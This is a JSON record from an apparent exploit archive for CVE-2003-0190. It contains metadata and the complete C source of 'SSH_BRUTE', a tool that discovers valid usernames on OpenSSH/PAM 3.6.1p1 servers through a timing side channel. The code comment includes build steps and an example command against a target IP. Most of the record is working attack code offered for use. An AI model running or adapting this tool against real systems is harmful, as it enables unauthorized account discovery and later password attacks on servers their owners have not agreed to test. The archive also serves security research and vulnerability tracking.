{"exploit":{"id":"EDB-25","name":"OpenSSH/PAM 3.6.1p1 - Remote Users Discovery Tool","description":"OpenSSH/PAM 3.6.1p1 - Remote Users Discovery Tool","cves":["CVE-2003-0190"],"author":"Maurizio Agazzini","published":"2003-04-30","platform":"linux","type":"remote","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/25","path":"exploits/linux/remote/25.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-25.c","vulnerabilities":[{"id":"CVE-2003-0190","state":"PUBLISHED","title":null,"titleSource":null,"description":"OpenSSH-portable (OpenSSH) 3.6.1p1 and earlier with PAM support enabled immediately sends an error message when a user does not exist, which allows remote attackers to determine valid usernames via a timing attack.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2003-0190","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:P/I:N/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2003-0190"},"updatedAt":"2024-08-08T01:43:36.108Z","retrievedAt":"2026-11-26T12:13:19.287Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-25.png?v=2","url":"https://exploitbin.com/exploits/EDB-25","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-25/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-25/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\n* SSH_BRUTE - OpenSSH/PAM <= 3.6.1p1 remote users discovery tool\n* Copyright (c) 2003 @ Mediaservice.net Srl. All rights reserved\n*\n*\n* Vulnerability discovered by Marco Ivaldi <raptor@mediaservice.net>\n* Proof of concept code by Maurizio Agazzini <inode@mediaservice.net>\n*\n* Tested against Red Hat, Mandrake, and Debian GNU/Linux.\n*\n* Reference: http://lab.mediaservice.net/advisory/2003-01-openssh.txt\n*\n* $ tar xvfz openssh-3.6.1p1.tar.gz\n* $ patch -p0 <openssh-3.6.1p1_brute.diff\n* patching file openssh-3.6.1p1/ssh.c\n* patching file openssh-3.6.1p1/sshconnect.c\n* patching file openssh-3.6.1p1/sshconnect1.c\n* patching file openssh-3.6.1p1/sshconnect2.c\n* $ cd openssh-3.6.1p1\n* $ ./configure\n* $ make\n* $ cc ../ssh_brute.c -o ssh_brute\n* $ ./ssh_brute 1 list.txt 192.168.0.66\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/wait.h>\n\n/* an illegal user */\n#define NO_USER \"not_val_user\"\n\n/* path of the patched ssh */\n#define PATH_SSH \"./ssh\"\n\n/* max time range for invalid user */\n#define TIME_RANGE 3\n\nint main(int argc, char *argv[])\n{\nFILE * in;\nchar buffer[2000], username[100], *host;\nint time_non_valid = 0, time_user = 0;\nint version = 1, i = 0, ret;\n\nfprintf(stderr, \"\\n SSH_BRUTE - OpenSSH/PAM <= 3.6.1p1 remote users discovery tool\\n\");\nfprintf(stderr, \" Copyright (c) 2003 @ Mediaservice.net Srl. All rights reserved\\n\");\n\nif (argc < 3) {\nfprintf(stderr, \"\\n Usage: %s <protocol version> <user file> <host>\\n\\n\", argv[0]);\nexit(-1);\n}\n\nversion = atoi(argv[1]);\nhost = argv[3];\n\nif ( ( in = fopen(argv[2], \"r\") ) == NULL ) {\nfprintf(stderr, \"\\n Can't open %s\\n\", argv[2]);\nexit(-1);\n}\n\n/* test an illegal user */\nprintf(\"\\n Testing an illegal user\\t: \");\nfflush(stdout);\n\nsprintf(buffer, \"%s -%d %s@%s\", PATH_SSH, version, NO_USER, host);\n\nfor (i = 0; i < 3; i++) {\nret = system(buffer);\ntime_non_valid += WEXITSTATUS(ret);\n}\n\ntime_non_valid /= 3;\n\nprintf(\"%d second(s)\\n\\n\", time_non_valid);\n\ntime_non_valid += TIME_RANGE;\n\n/* test supplied users */\nfscanf(in, \"%s\", username);\n\nwhile ( !feof(in) ) {\n\nprintf(\" Testing login %s\\t\", username);\n\nif (strlen(username) <= 8)\nprintf(\"\\t\");\nprintf(\": \");\n\nfflush( stdout );\n\nsprintf(buffer, \"%s -%d %s@%s\", PATH_SSH, version, username, host);\nret = system(buffer);\ntime_user = WEXITSTATUS(ret);\n\nif (time_user <= time_non_valid)\nprintf(\"\\E[31m\\E[1mILLEGAL\\E[m\\t[%d second(s)]\\n\", time_user);\nelse {\n/* valid user? test it again to be sure */\n\nret = system(buffer);\ntime_user = WEXITSTATUS(ret);\n\nif (time_user <= time_non_valid)\nprintf(\"\\E[31m\\E[1mILLEGAL\\E[m\\t[%d second(s)] [2 test]\\n\", time_user);\nelse\nprintf(\"\\E[32m\\E[1mUSER OK\\E[m\\t[%d second(s)]\\n\", time_user);\n}\n\nfscanf(in, \"%s\", username);\n}\n\nfclose(in);\n\nprintf(\"\\n\");\n\nexit(0);\n}\n\n\n\n// milw0rm.com [2003-04-30]","sha256":"03380d41498e4c90aa5bbff877c73a093f2c55935058f30101017e31a3d991d6","bytes":2746,"fetchedAt":"2026-11-26T12:13:17.072Z","encoding":"utf-8 (display only; download retains original bytes)"}